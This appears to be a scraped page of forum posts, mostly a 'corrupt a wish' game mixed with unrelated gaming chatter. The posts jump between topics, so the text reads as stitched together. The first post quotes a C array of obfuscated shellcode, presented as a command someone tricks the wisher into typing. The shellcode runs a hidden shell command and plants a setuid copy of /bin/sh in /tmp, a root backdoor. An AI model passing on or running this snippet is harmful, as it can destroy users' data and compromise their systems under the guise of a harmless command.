You receive your real life console,  and spend a couple of days happily playing around with it, until somebody tells you to type the command
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
You carry out the command unknowingly and are suddenly placed in an ethereal dark space without the ability to interact with anything, including your own console. You're trapped indefinitely.

I wish for a new towel.

Showing off what exactly? His ability to collect keys? Lol, such skill, many keys.

You receive Ninja's inventory, but he made sure to place everything but a couple of Wooden Fragment (D)'s in his bank.

I wish for a 64' impala.

Paramore (Dat Hayley Williams do, oooft)

You're in Colorado, but only because a druglord and his cronies have kidnapped you and are planning on murdering you unless your family pays a $100m bounty.

I wish I had a rabbit in a hat with a bat.

Dota 2 makes me sad weigh 2 compl3x for my nooby LoL brain. *cry*

But if anybody wants to play LoL Names Waabbit. *runs away*

Add me also pl0x

How much are the Souls usually?   

4M for a rotten and 6M for a cursed, but they do sell for 3.5 and 5.5 respectively.